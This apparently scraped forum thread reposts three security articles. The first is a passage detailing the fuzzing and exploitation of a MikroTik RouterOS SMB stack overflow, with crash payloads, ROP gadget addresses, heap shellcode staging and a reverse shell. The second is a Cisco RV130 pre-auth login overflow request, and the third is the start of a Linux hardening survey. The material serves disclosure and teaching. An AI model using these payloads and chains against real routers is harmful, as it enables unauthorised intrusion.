mutiny_prep.py interactive script. It is a good idea to review the resulting file to identify any weirdness that could come up during conversion. Here we could configure Mutiny to fuzz only parts of the message. This would be useful if we wanted for example to focus our efforts on individual fields. In this case we will fuzz the entire message. It is worth mentioning that Mutiny can also handle multi-message exchanges. If the test cases we use as initial templates contain parts that do not cause the program to take different paths, then all the modifications we make to this data will never increase code coverage, which results in wasted time and inefficient fuzzing. Without going into much detail of the SMB protocol, we can observe that the request contains a list of about a dozen Requested Dialects. Each dialect corresponds to a specific set of supported commands. This could be interesting if we were fuzzing a particular set of commands, but right now we do not care about this. Providing a shorter list of one or two dialects would result in Radamsa creating more meaningful mutations and a larger variety of SMB request types being sent. Our reasoning is that maybe mutating one dialect or the other will not make the application take very different paths on a single message conversation, so we do this and edit the template to look as follows: outbound fuzz ‘\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00’ With the template in place, we can begin fuzzing. Remember to capture the full session with Wireshark. Mutiny can also record each packet sent, but we found it easier to look at Wireshark for when the server stopped responding after a crash. Open a telnet connection to the router using the devel account and run pkill smb; /nova/bin/smb to start a new SMB process and observe its output. The following command will instruct Mutiny to sleep half a second between packets and log all requests: ./mutiny.py -s 0.5 — logAll negotiate_protocol_request-0.fuzzer HOST The verbose output will show packets of different sizes being sent and the numeric identifier of each of them. This value is useful to repeat the exact same sequence of mutations and provide a way to reproduce crashes. This is important because, even if we find a crash, previous requests could have corrupted something or altered the application state in a way that is required for the crash to happen. If we cannot recreate the state before the crash, we might be left empty-handed even if we identify which particular request ended up causing the crash. If the fuzzing session is interrupted and we do not want to replay the previous mutations, it is possible to use the -r parameter to instruct Mutiny to start sending mutations from that iteration onwards (e.g: -r1500- will send mutations 1500, 1501, 1502, and so on). If we observe Wireshark while the fuzzer runs, we will see that not all packets conform to the expected format, which is a good thing for us. Vulnerabilities usually arise when the application cannot handle unexpected data in a proper manner. The terminal where we are running the SMB binary will also contain useful data to confirm that we are in fact feeding malformed requests to the service. Now we let the fuzzer run. We can play with different delay values and see if the server can process requests that fast, but two requests per second is OK for this proof of concept. A few minutes later Mutiny finishes running after trying to connect to the service and not being able to do so. If we take a look at the terminal running the binary, we will be greeted with a Segmentation fault message. As mentioned before, the backtrace.log file contains the register dump and a bit more information about what caused the crash. Finally, by inspecting Wireshark we can see that the last packet sent to the server is described as “Session request to Illegal NetBIOS name”. Understanding the crash First we will make sure that we can reproduce the crash at will. Copying the last packet sent by Mutiny or extracting the message from Wireshark is equivalent here. We are not interested in the layers below NetBIOS, as we will create a small script to send the packet over TCP. Extract the raw bytes from the exported file. >>> open(“req”).read() ‘\x81\x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00’ Create a simple python script that sends the payload over to the remote service. Note that I have replaced the whitespace with its equivalent hex representation for clarity. Run the script a few times after spawning a new SMB process (pkill smb && /nova/bin/smb) and see what happens. We now have a reliable way to reproduce the crash with a single request. In this case we are dealing with a protocol for which Wireshark has a dissector, so we can use that information to understand the cause of the crash at a protocol level. Apparently, sending a NetBIOS session request (message type 0x81) exercises a vulnerable code path in the SMB binary. Let’s extract the binary from the router so we can open it in a disassembler. Copy /nova/bin/smb to /flash/rw/pckg so it can be accessed via FTP and download it. This is also a good time to be able to debug the process with GDB. I like to use PEDA to enhance GDB’s display and add some useful commands. We open two connections to the target router. In one we do pkill smb && /nova/bin/smb to get real time output, and on the other we start gdbserver attached to the newly spawned process. Finally, we open GDB in our testing machine and connect to the debugging server with target remote IP:PORT. It is also useful to instruct GDB which binary we are attached to by doing file smb. The next time it connects to the debugging server it will attempt to resolve symbols for the loaded libraries. Press c on the debugging session so execution continues as usual. Running the proof of concept will cause the service to stop due to a SIGSEGV as expected. Here we see that a NULL pointer was dereferenced when performing a copy operation. Now, I must admit that I am very bad doing static analysis, especially when C++ programs are involved. In a lame attempt to overcome this limitation, I will rely as much as I can on dynamic analysis and, in this particular case, on the information provided by the Wireshark dissector that gives more insight about the protocol fields. As can be observed, the first byte of the NetBIOS Session Service packet we are sending sets the message type to Session request (0x81). The second byte contains the flags, which in our proof of concept has all bits set to zero. Next two bytes represent the message length, which is set to 32. Finally, the remaining 32 bytes are referred to as Illegal NetBIOS names. We can assume that this size is being read at some point, and since it is the only message length information we are sending, it might be related to the vulnerability. To test this assumption, we are going to place breakpoints on common functions such as read and recv to identify where the application is reading the packet from the socket. After running the script, the program breaks in read(). We navigate to the next instructions using ni and stop right after the read system call is executed. The definition for read looks as follows: ssize_t read(int fd, void *buf, size_t count); EAX holds the number of bytes read, which seems to be 0x24 (36). This corresponds to the header we analyzed before: 1 byte for the message type — 1 byte for the flags — 2 bytes for the message length — 32 bytes for the NetBIOS names. ECX contains the address of the buffer where the data read is stored. We can use vmmap $ecx or vmmap 0x8075068 to verify that this corresponds to the heap area. Finally, EDX states that the read operation was called to read up to 0x10000 bytes from the socket. From here on we can continue stepping through the execution and add watchpoints to see what happens with our data. Since Wireshark did not identify anything relevant to the analyzed protocol in the NetBIOS names, let’s change our payload to contain more distinguishable characters such as “A”s so it is easier to identify that payload in our debugging session. This is also a good idea to see if additional copy operations might be triggered that would otherwise stop at the first NULL byte. We have two bytes to play with different sizes, so before moving forward it is interesting to try sending different message lengths and see if the crash still happens. We already tried 32 bytes, so let’s get crazy and do 64, 250, 1000, 4000, 16000, 65500. 64 (payload = “\x81\x00\x00\x40”+”A”*0x40) Same as original proof of concept. Registers look the same. 250 (payload = “\x81\x00\x00\xfa”+”A”*0xfa) This is a very interesting variation. We see most registers set to 0x41414141, which is our input, we see the stack filled with lots of “A”s as well and even EIP seems to have been corrupted. 1000 (payload = “\x81\x00\x03\xe8”+”A”*0x3e8) Same as previous payload. 4000 (payload = “\x81\x00\x0f\xa0”+”A”*0xfa0) Same as previous payload. 16000 (payload = “\x81\x00\x3e\x80”+”A”*0x3e80) This is crashing at a different instruction, although we see that the stack is corrupted as well. 65500 (payload = “\x81\x00\xff\xdc”+”A”*0xffdc) Same as previous payload. So… we see the program crashes when executing different instructions. However, the common thing we can observe is that the stack has been corrupted at some point when parsing NetBIOS names from a single NetBIOS session request message, and that most registers included parts of our payload when we sent a 250 bytes message. This makes it particularly interesting for analysis, since we have a direct EIP overwrite and control over the stack. Note that we cannot really ensure that all crashes are due to the exact same bug at this point. Maybe sending a larger buffer took us down a different path that ended up being more easily exploitable, so you will have to answer that question yourself. There are also some seemingly random number of “.” (0x2e) characters in between. We will see what they are later on. Right before the crash the program prints a message that reads “New connection:”. This can be useful to get some situational awareness without having to add watchpoints to our buffer and track dozens of read operations (you can add a read watchpoint in GDB with rwatch *addr and execution will be stopped whenever the program accesses that memory address). We open the /nova/bin/smb binary in Binary Ninja and search for the string. There is only one occurrence at 0x80709fb. Inspecting the cross references shows a single usage, which is probably what we want. If we go to the beginning of sub_806b11c, we will notice that a couple of conditions need to be met in order for us to get to the block that prints the string. The first condition is a byte comparison with 0x81, which is the message type we are sending. Putting a breakpoint at 0x806b12e and following the execution allows us to inspect the register values and get a better picture of what is happening. We can observe for example that the size we send in the request needs to be above 0x43 to enter the interesting block. Based on our previous tests, we know that one of the functions called from this block needs to be the one corrupting the stack. We continue going through each instruction in GDB using n instead of s to avoid stepping into the functions. After each function run, we take a look at the stack. The first function we encounter is 0x805015e. After it runs we see that the stack seems to be OK, so this is probably not the function responsible for the overflow. A few instructions later we have the next candidate, function at 0x8054607. Once again, we let it run and observe the stack and register context afterwards. Aaaaand we found our culprit. Take a look at EBP and observe that the stack frame has been corrupted. Continue debugging until the function is about to return. Here various registers are popped from the stack that contains our data. Unpopular thought here: you do not really need to understand what this function is doing at all to exploit the vulnerability. We already have EIP control and most of the stack looks more or less as uncorrupted input data. Taking some time to review the function at 0x8054607 with GDB’s help results in the following pseudo-code: int parse_names(char *dst, char *src) { int len; int i; int offset; // take the length of the first string len = *src; offset = 0; while (len) { // copy the bytes of the string into the destination buffer for (i = offset; (i - offset) < len; ++i) { dst[i] = src[i+1]; } // take the length of the next string len = src[i+1]; // if it exists, then add a separator if (len) { dst[i] = "."; } // start over with the next string offset = i + 1; } // nul-terminate the string dst[offset] = 0; return offset; } In essence, the function receives two stack-allocated buffers, where the source buffer is expected to be in the format SIZE1 — BUF1, SIZE2 — BUF2, SIZE3 — BUF3, etc. “.” is used as the entry separator. The first byte of the source buffer is read and used as the size for the copy operation. The function then copies that amount of bytes into the destination buffer. Once that is done, the next byte of the source buffer is read and used as the new size. This loop finishes when the size to copy is equal to zero. No validation is done to ensure that the data fits on the destination buffer, resulting in a stack overflow. Writing an exploit How to approach the exploitation depends on the specifics of the targeted device and architecture. Here we are only interested in the Cloud Hosted Router x86 binary. It is worth mentioning that there might be several different ways to achieve reliable exploitation of this vulnerability, so we are going to review the one *we* used, which might not be the most elegant or efficient way to do it. Tobias Klein’s checksec script is a great resource to check which mitigations we will need to fight against. This script can be invoked from PEDA. The lack of stack canaries is probably the most relevant mitigation that is missing, enabling stack based buffer overflows to be easily exploited. If the program had been compiled with stack canaries, then our previous tests would have had a very different result. Stack canaries place random values before important data in each function frame that allocates buffers, and these values are checked before the function returns. In case an overflow occurs, execution will be terminated and no further exploitation possible. PIE disabled means we can rely on fixed locations for the program code, and a disabled RELRO means we can overwrite entries in the Global Offset Table. To sum up, we will only be dealing with NX, which restricts execution from writable areas such as the stack or the heap. Another mitigation that is implemented at a system level is ASLR. This is a 32 bits system, so a partial overwrite or even brute forcing may be considered a feasible bypass of ASLR. In this case, that will not be necessary. Inspecting the memory mappings for any program in RouterOS shows that the stack base is indeed randomized but the heap is not. This can be verified running cat /proc/self/maps a few times and comparing the results. The first step to build our exploit is getting the exact offset to get control of EIP. In order to do this we can generate a unique pattern with PEDA with the command pattern create 256 and plug it into our exploit skeleton. Note that the first byte after the header will be the size parsed by the vulnerable function, so we specify 0xFF to read 256 bytes unaltered and avoid the “.” character being placed in the middle of our payload. When the crash takes place, it is possible to use the accompanying pattern offset VALUE command to determine the exact location to overwrite EIP. Alter the payload and verify that EIP can be set to an arbitrary value. We do not observe annoying “.” characters, which is good. Now that we control EIP and the rest of the stack, we can use the borrowed code chunks technique, which is better known as return oriented programming or ROP (some people seem to be very annoyed with those using the latter term, so it is probably better to mention all the alternatives). The main idea is that we will chain various code snippets that end in a RET instruction to execute more or less arbitrary code. Given enough of these gadgets we should be able to run anything we want. In this particular case though, we only want to mark the heap area as executable. The end goal is to store something in the heap (which already contains messages read from the client) and jump there taking advantage of the static base address. The relevant function here is mprotect, which looks as follows: int mprotect(void *addr, size_t len, int prot); The address will be 0x8072000, which is the base of the heap. This needs to be page-aligned for it to work. Len can be anything we want, but let’s change the protection of the whole 0x14000 bytes. Finally, prot refers to a bitwise-or of the desired protections to enforce. 7 refers to PROT_READ | PROT_WRITE | PROT_EXEC, which is essentially the RWX we are aiming for. There are various tools that can attempt to create the chain automatically, such as ROPGadget and Ropper. We will use ropper but build the ROP chain manually to show how it can be done. As per the Linux system call convention, EAX will contain the syscall number, which is 0x7d for mprotect. EBX will contain the address parameter, ECX the size and EDX the desired protection. Let’s start setting EBX to 0x8072000. We look for a gadget that contains the POP EBX instruction and has the least side-effects possible. We choose the smaller gadget and start constructing our chain. This looks as follows. Execution will be redirected to 0x804c39d, which will first execute a POP EBX instruction, setting EBX to the desired value of 0x8072000. Next, POP EBP will be executed, so we need to provide some dummy value so there is something to pop from the stack. Finally, the RET instruction is executed, which pops whatever is next in the stack and jumps there. This needs to be our next step in the chain. All values are packed as little-endian unsigned integers. We do the same process to set the desired size in ECX. It is important to understand that the order matters, as we could be unknowingly overwriting the registers we have already set if we are not careful. Moreover, sometimes the gadgets will not look as nice as POP DESIRED_REG; RET and we will have to deal with potential side effects that need additional adjustments. Here we will choose the more benign 0x080664f5. This gadget alters the value of EAX, but we do not rely on anything specific set in EAX at this time, so it is useful. We append this to our ROP chain. We repeat the process, this time to set EDX to 7, which is the RWX protection level. This time we select the gadget at 0x08066f24, which does not mess with our previously set registers. Finally, we need to set EAX to the syscall number 0x7d. We search gadgets containing POP EAX and do not find anything that will not alter our current setup. We could try to reorder our gadgets in a different way, but we will just search for another gadget that does XCHG EAX, EBP and chain it with the ubiquitous POP EBP; RET. From here we take 0x804f94a and 0x804c39e and append them. The registers are now configured as desired to execute the mprotect system call. In order to do this, we need to call INT 0x80, which notifies the kernel that we want to execute the system call. However, when we look for gadgets containing this instruction, we find none. This can make things a bit more difficult. Luckily, there is another place where we can find this kind of gadget. All user space applications have a small shared library mapped into their address space by the kernel that is called vDSO (virtual dynamic shared object). This exists for performance reasons and is a way for the kernel to export certain functions to user space and avoid the context switch for functions that are called very often. If we take a look at the man page, we will see something interesting: This means there is a function in the vDSO that might know how to perform system calls. We can inspect what this function does in GDB. As can be observed in the screenshot above, __kernel_vsyscall contains a useful gadget. We execute the process a few times and realize that this mapping is not affected by ASLR, which allows us to use this gadget. The values of EBX, ECX and EBP do not really matter right now, as they will be set after the system call is executed anyway. We update the exploit code to send the chain we built and attach GDB to the running SMB binary. EIP will redirect execution to our first gadget, so it is a good idea to put a breakpoint at 0x804c39d, which is the start of the chain. Use stepi to observe how the registers are set to the desired values. Right after INT 0x80, we can list the mapped areas and if everything worked OK, the heap will be marked as RWX. The remaining piece consists of storing arbitrary code in the heap at a known location so we can jump there and get a shell, but how can we do this? When we put a breakpoint in read(), we observed that the request data was being stored somewhere in the heap. In addition, we had various samples of Negotiate Protocol Request requests, so it is possible to determine that if the message type byte is set to 0x00 then we are going to reach some path in the program where the payload will be processed and stored in the heap. To test this assumption, let’s put a breakpoint in read() again and change the PoC payload to send a benign Negotiate Protocol Request message with 512 “A”s as content. As a reminder, the format is: message type (1 byte) — flags (1 byte) — message length (2 bytes) —message This time message type will be set to NETBIOS_SESSION_MESSAGE (0x00). We are not using another Session Request message (0x81) to avoid accidentally triggering the vulnerability and having to deal with the “.” characters that the vulnerable function places in between. Step through the read function until the 0x204 bytes (512 “A”s + the 4 byte header) are read from the network. As stated before, ECX contains the address of the buffer. Inspecting the memory contents at the specified address shows our payload. Press c to allow execution to continue normally and send a new request to check if the previous one gets overwritten or if it is just left there in the heap for now. When the breakpoint is reached again, we try to print the contents of the read buffer and unfortunately we realize that it has been zeroed out. However, the previous request could still be lingering somewhere else if the application made a copy that was not zeroed out. It is possible to search the current address space with PEDA by using the find or searchmem commands. Our message consists of 512 “A”s, so we attempt to find a contiguous block of “A”s. The commands take an optional parameter separated by a white-space to confine the search to a specific area. We are only interested in results that might be present in the heap. This means that the contents of the request are being copied and left in some buffer that is not cleared out. We need to make a few more tests to be able to trust this location to store our payload. In particular, if we change the script to send 512 “B”s instead of “A”s, we will see that 0x8085074 will end up containing the “B”s after the request is processed. We need data to persist throughout additional requests, so this is not good. However, if we first send 512 “A”s and then let’s say 256 “B”s, it will become evident that the first half is overwritten but the second half will still contain the bytes from the previous request. The weird looking 0x00000e89 is chunk metadata from the heap control structures and is not relevant to our scenario. Knowing that the data will be persistent across at least two requests, we can craft the following plan: Send a Negotiate Protocol Request with the code we want to execute. The first part will be a few hundred NOP instructions because these bytes will be overwritten when we issue the second request with the corresponding Session Request message that triggers the vulnerability. Send a Session Request message that corrupts the stack, ROPs to mprotect, marks the heap as executable and jumps to the hard-coded location where the payload from #1 is stored, abusing the fact that the heap base is not randomized. We make an arbitrary decision to leave 512 bytes for the second request, so we will jump at the hard-coded location of 0x8085074 + 512 = 0x8085270. This address needs to be appended to our ROP chain. The previous gadget will execute its final RET instruction, 0x8085270 will be popped from the stack and the program execution will follow. The first version of the shellcode will consist only of INT3 instructions so the debugger breaks upon execution. The opcode for INT3 is CC. The script is also modified to open two connections, one for each request. Attach to a new SMB process and run the exploit. We are now executing arbitrary code. Let’s generate a reverse shell payload with msfvenom. We modify the first stage to store this payload and run the exploit again. This time we open a netcat listener at the specified port so we can receive the connection. …and we have a shell. Hooray! Conclusion Fuzzing a network service using a mutation-based approach can be done with very little effort and may produce great results. If you are looking for vulnerabilities in applications that talk arcane proprietary protocols or are just too lazy to build a comprehensive template, give dumb fuzzing a go. You can even leave the fuzzer running with minimum effort while you apply your ninja reverse engineering skills to understand the protocol and build something better. RouterOS powered devices are now everywhere and the lack of modern (for arbitrary definitions of modern) exploit mitigations is a bit worrisome. Having full ASLR enabled would make the life of exploit writers a bit more difficult, and most stack overflows would be rendered unexploitable in the absence of info-leak vulnerabilities if the binaries were compiled with stack canaries support. It is worth mentioning that MikroTik’s response and patch times were great. At first the changelog did not hint a security vulnerability existed: What's new in 6.41.3 (2018-Mar-08 11:55): *) smb - improved NetBIOS name handling and stability; However, they seem to be more serious now. They include more detailed comments in their changelogs regarding security vulnerabilities and seem to have a blog where they post official announcements regarding these types of issues as well. The astute reader might have noticed that if you reproduced the steps outlined in this post, you might even have found a few additional 0days in RouterOS SMB. Have fun! Additional resources Original advisory at Core Security (https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow) Detailed analysis of chimay-red (the bug in WWW leaked in Vault 7) https://blog.seekintoo.com/chimay-red.html MIPS exploit of the bug described in this post by BigNerd95 https://github.com/BigNerd95/Chimay-Blue Jacob Baines posts https://medium.com/@jbaines Cool analysis of the famous Winbox vulnerability from last year https://n0p.me/winbox-bug-dissection/ 0ki MikroTik tools https://github.com/0ki/mikrotik-tools 0ki’s research hub with dozens of presentations in video/slides format https://kirils.org/ maxi Sursa: https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1
      • 1
      • Thanks
  13. Cisco RV130 – It’s 2019, but yet: strcpy Dave Null 28 Feb 2019 Yesterday Cisco released an advisory for CVE-2019-1663 – a pre-authentication code execution vulnerability in the RV110W, RV130W and RV215W router series. If you own one of the affected devices, check out that link for all remediation advice, including a new, patched firmware. We were one of two parties who reported this to Cisco, and they’ve been extremely pleasant to disclose to. Here’s a quick root-cause analysis of CVE-2019-1663. The device While it affects a few other routers, we initially found this issue on the RV130. The RV130, like a lot of routers and other embedded IoT devices, does not run Cisco IOS. Instead it runs some form of embedded Linux. The majority of router-like functionality is handled by a small set of binaries which parse user input and make the router do useful router things. Most of the user input comes through the web interface – which is where we found this bug. The affected binary is the “httpd” webserver binary. Although distinguished and Apache-sounding, in reality this is just a monster process handling pretty much everything that happens over ports 80/443. It takes user input over HTTP and transmutates this into system-level configurations. As with all embedded webserver binaries, it’s infinitely fascinating and behaves in some really weird ways sometimes (I spent a long time reverse-engineering it more out of interest than bug-hunting) – but that’s a story for another post. Let’s get into the mechanics of the problems behind CVE-2019-1663. Figure 1 – This image is extraneous to the message of this blog post, but really, look at this cool string in the RV130 firmware. The trigger A buffer overflow happens if an overly-long value is passed to the “pwd” parameter at the login.cgi endpoint. This is, of course, before authentication. Let’s quickly do a “normal” login and follow the code path. Login requests to the web interface are sent to the login.cgi endpoint in the following form: POST /login.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://192.168.1.1/ Content-Type: application/x-www-form-urlencoded Content-Length: 137 Connection: close Upgrade-Insecure-Requests: 1 submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sel_lang=EN The “pwd” value sent is actually the 32-byte long “encoded” password, calculated by JavaScript in the browser just before the request is sent (for clarity when looking at memory, we’re just sending 32 “A“s in this example). The login is handled by a function in httpd at 0x0002C614 (oh yeah, also, no PIE/ASLR in the binary). The request parameters are parsed from the POST request, tokenised and put in the executable’s static data store (the .bss segment). Figure 2 – The parameters in memory after they’ve been pulled out of the POST request. Then, the legitimate encoded password is pulled out of the device NVRAM and put in memory. Next, the value from the “pwd” parameter is pulled from the .bss segment and the standard C call strcpy is used to put it in dynamically-allocated memory. Figure 3 – *record scratch*. Yes, that’s strcpy. We’ll get back to that in a second. Under normal login conditions, each value is subject to the same scrutiny. After strcpy has copied the values into memory, strlen measures how long each item is, then (if they’re the same length) strcmp compares the two values. You get logged in if all these checks are passed. Figure 4 – Better check those lengths eh? Ok. So what’s the problem? strcpy is bad Why is strcpy bad? How can it be bad when it gets used so much?! Figure 5 – strcpy is more common than you think. Get checked. C programmers and security people will likely be rolling their eyes at this point. It’s well known – notorious, even – that strcpy is a dangerous function to use. There are literally thousands of articles about this function online, dating back decades, explaining why it’s dangerous. I’ll quickly paraphrase now. Let’s look at the (latest free draft version of the) C standard. strcpy is defined like this (emphasis ours): #include <string.h> char *strcpy(char * restrict s1, const char * restrict s2); […] The strcpy function copies the string pointed to by s2 (including the terminating null character) into the array pointed to by s1. If copying takes place between objects that overlap, the behavior is undefined. “The behavior is undefined” is an elusive way of saying “this might break something”. strcpy is bad because it will copy a string (s2), right up until the null terminator, to the memory at the specified pointer (s1). No length is passed to the function. Look up there, is there a length parameter passed to strcpy? No, there isn’t. strcpy doesn’t care about the length of the string. For strcpy, the length of the string is entirely unimportant. The concept of a size is entirely alien to strcpy. When you’re using strcpy, you don’t tell it the length of the string, and no-one else does either. strcpy does exactly what it’s told and carries it through to the end no matter the obvious immediate consequences. My therapist might say strcpy lacks the capacity for critical or contextual reflexive action. It lacks the faculties which many people come to expect from writing other memory-safe languages. It’s unreasonable to use strcpy this year, “The Year of Our Lord” Twenty-Nineteen CE/AD. To use a phrase which will certainly carbon-date this post to somewhere in late 2018/early 2019: strcpy certainly “ain’t it, chief”. Yes, a corporate blog post flogging a semi-popular meme as a shortcut to humour in their lazy copywriting. *checks watch*. It’s definitely 2019. When you use strcpy (or one of the many, many other unsafe functions), you are riding the C bicycle without a helmet. And possibly without brakes. Some might also say, without a helmet, without brakes, but also with training wheels. Sorry, yes, ok, so: you’re taking a pointer to a memory location you’ve previously allocated (and already declared a size for!), and you’re copying the string to that memory. Nothing will stop this string overwriting the bounds of the memory you allocated. That’s why it’s bad. And if someone else has control over the source string, you are giving an external entity the capability to overwrite the bounds of the memory that you allocated – which might mean they can overwrite something important with something bad. In most exploitable cases, this will mean overwriting a saved return pointer on the stack and redirecting the execution flow of the process. Anyway, this is what will probably happen if you use strcpy: Figure 6 – A segfault In fact, that’s exactly what happens if you send the following request to the RV130: POST /login.cgi HTTP/1.1 Host: 192.168.22.158 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://192.168.22.158/ Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 571 submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ&sel_lang=EN A saved return pointer on the stack is overwritten by our “ZZZZ”, so execution flow is redirected to 0x5A5A5A5A. So what? Now I can’t copy strings? Security is ruining everything! Insert Linus rant here! Well, no, that’s an overreaction. Also, if you have any feeling other than existential disappointment about strcpy being used in 2019, you’ve very late to the party. You’ll often come across people recommending strncpy (with an “n”) instead of strcpy. In fact, you’ll often see a lot of strncpy if you’re RE-ing embedded webserver binaries. However, strncpy is also not ideal. While it does take a size parameter, it doesn’t always null terminate. Passing a string to strncpy which is longer than the size will write the string itself right up to the final byte, with no null terminator. Working with strings which you imagine to have been null terminated, but actually haven’t, could go wrong in quite unpleasant ways. Luckily, there’s strlcpy (with an “l”). strlcpy is a nonstandard function which takes a third length argument, and always null terminates. There are arguments articulated in mailing list archives that strlcpy being non-standard might cause compatibility issues. But there is literally zero reason for people who are shipping embedded devices not to use whatever functions they want – standard or nonstandard. You’re literally shipping tiny computers to people! The computers run whatever you want on them! Compatibility isn’t an issue! Use strlcpy! Or, you know, don’t write C. Sursa: https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/
      • 1
      • Upvote
  14. Millions of Binaries Later: a Look Into Linux Hardening in the Wild February 28, 2019 By Theofilos Petsios TL;DR In this post, we explore the adoption of Linux hardening schemes across five popular distributions by examining their out-of-the-box properties. For each distribution, we analyzed its default kernel configuration, downloaded all its packages, and analyzed the hardening schemes of their enclosed binaries. Our dataset includes the OpenSUSE 12.4, Debian 9, CentOS and RHEL 6.10 & 7 distributions, as well as the Ubuntu 14.04, 12.04, and 18.04 LTS distributions. Our findings confirm that even basic hardening schemes, such as stack canaries and position independent code, are not fully adopted. The situation is even worse when it comes to other compiler protections like stack clash hardening, which recently came into the spotlight due to last month’s systemd vulnerabilities. However, not all is hopeless. A good portion of shipped binaries have basic mitigations in place, and the numbers have improved from version to version. Our experiments indicate that Ubuntu 18.04 shows the largest adoption of OS and application-level mitigations, followed by Debian 9. On the other hand, OpenSUSE 12.4, CentOS 7 and RHEL 7 also deploy common hardening schemes, and show wider adoption stack-clash mitigations while shipping a much more tight-knit set of packages by default. Introduction Shipping quality software is hard. Despite the vast numbers of sophisticated static and dynamic analysis1 toolchains, and the significant compiler and programming language developments of the past years, modern software is still plagued with vulnerabilities that are constantly exploited by attackers for profit. The situation is even worse when it comes to complex and rapidly changing software ecosystems that involve legacy code. In such cases, not only are we faced with the everlasting problem of finding possibly exploitable bugs, but we also are constrained by the hard limits of backwards-compatibility, which often dictate that we are stuck with a piece of code that is known to have limitations, or even worse, be vulnerable or buggy. This is where hardening techniques come into play. Since we cannot prevent certain types of bugs, we might as well make the attacker’s life harder, and work around the problem by preventing or hindering the exploitation of these bugs. Such software hardening defenses are currently deployed in all modern operating systems, however vary greatly in complexity, effectiveness an overhead: from stack canaries and ASLR to full-fledged CFI and ROP defenses, hardening schemes are not all designed, implemented, or used equally. In this blog post, we will take a deep look into the adoption of such defenses by the most popular Linux distributions, examining their default kernel configurations as well as the properties of the binaries distributed through the package management systems of each distribution. CVEs vs Security We all have seen articles bearing titles such as “most vulnerable applications of the year” or “most vulnerable operating systems”. Usually, these articles present statistics on Common Vulnerability and Exposures (CVE) entries, aggregated from sources like NIST’s National Vulnerability Database (NVD) and subsequently rank the compared applications or OSes based on the numbers of CVEs that have been published. Unfortunately, although very useful for keeping track of issues and informing vendors and users alike, CVEs alone do not tell us much about the underlying security properties of software. To make this clearer, let us examine the total number of CVEs published over the past four years for the Linux Kernel, as well as for five of the most popular server-oriented Linux distributions, namely Ubuntu, Debian, Red Hat Enterprise Linux, and OpenSUSE. Figure 1 What do we learn from the graph above? Is the number of CVEs per distribution indicative of the fact that one distribution might be more vulnerable than another? The answer is no. For instance, as you will see in this post, empirical evidence suggests that Debian has more hardening mechanisms in place compared to say, OpenSUSE or RedHat Linux, and yet it has the most CVEs. However, these CVEs do not necessarily denote weakened security: even in the presence of a CVE, it is not directly obvious if a vulnerability is exploitable. Severity score assignments do provide an indication of how likely a vulnerability is to be exploited but, at the end of the day, exploitability depends largely on the defenses present in the affected systems, as well as on attackers’ resources and capabilities. Moreover, the absence of CVE reports does not tell us anything about other unreported or unknown vulnerabilities that may be lurking, and differences in numbers may exist not because of differences in software quality but due to other factors, including the resources allocated to testing or the size of the user base. For our Debian example, the higher number of CVEs may simply indicate that Debian ships more software packages. That said, it goes without saying that the CVE enumeration system provides us with useful information that enables us to build appropriate defenses: the better we understand how software fails, the more likely we are to pinpoint the possible ways attackers might exploit it, and design the appropriate detection and response mechanisms to defend against them. To this end, let us examine, in Figure 2, the categories (in aggregate, across all distributions) for the CVEs of Figure 1 (sourced from here) over the last 4 years. It is immediately obvious that the majority of the CVEs reported over the past years fall into the following categories (as defined by the cvedetails categorization😞 Denial of Service (DoS), Code Execution, Overflow, Memory Corruption, Information Exfiltration, and Privilege Escalation. Although many of the CVEs are counted multiple times across various categories, we notice that overall, the same core problems persist year-to-year. In the following of this post, we will evaluate the adoption of different hardening schemes that are deployed by mainstream Linux distributions to prevent exploitation of the above vulnerabilities. Figure 2 Goals With this survey, we set out to answer the following questions: What are the security properties of different Linux distributions? What hardening defenses are in place when it comes to the kernel, and for user-space applications? How has the adoption of hardening mechanisms changed over time for different distributions? What are the average package and library dependencies for each distribution? What hardening defenses are in place for each binary? Distribution Selection It turns out that finding accurate statistics on adoption and deployment of different distributions is not trivial, since in most cases the number of downloads is not indicative of the number of real deployments. That said, UNIX variants represent the majority when it comes to server/infrastructure deployments, with Linux variants having a continuously growing market share2. Thus for our study, we focused on the different Linux distributions that are available out-of-the box in Google’s Cloud Platform (GCP). In particular, the Operating Systems we selected in our study were: Distribution / Release Kernel Build OpenSUSE 12.4 